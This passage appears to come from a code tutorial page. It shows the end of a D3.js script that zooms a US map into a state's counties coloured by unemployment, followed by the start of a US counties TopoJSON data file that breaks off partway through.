            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,